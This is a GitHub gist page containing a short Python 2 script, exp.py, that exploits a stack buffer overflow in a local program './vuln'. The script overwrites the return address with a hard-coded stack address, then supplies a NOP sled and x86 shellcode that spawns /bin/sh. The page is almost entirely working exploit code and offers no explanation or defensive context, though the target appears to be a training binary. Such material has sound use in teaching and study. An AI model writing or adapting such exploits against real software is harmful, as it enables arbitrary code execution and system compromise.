Skip to content

Instantly share code, notes, and snippets.

@un4ckn0wl3z
Last active October 5, 2016 16:27
Show Gist options
  • Save un4ckn0wl3z/a28cd94c96592b2376a54e6864074df0 to your computer and use it in GitHub Desktop.
Save un4ckn0wl3z/a28cd94c96592b2376a54e6864074df0 to your computer and use it in GitHub Desktop.
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
#Stack address where shellcode is copied.
ret_addr = 0xbffff1d0
#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
#endianess convertion
def conv(num):
return struct.pack("<I",num)
# buf = Junk + RA + NOP's + Shellcode
buf = "A" * 268
buf += conv(ret_addr)
buf += "\x90" * 100
buf += scode
print "Calling vulnerable program"
call(["./vuln", buf])
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment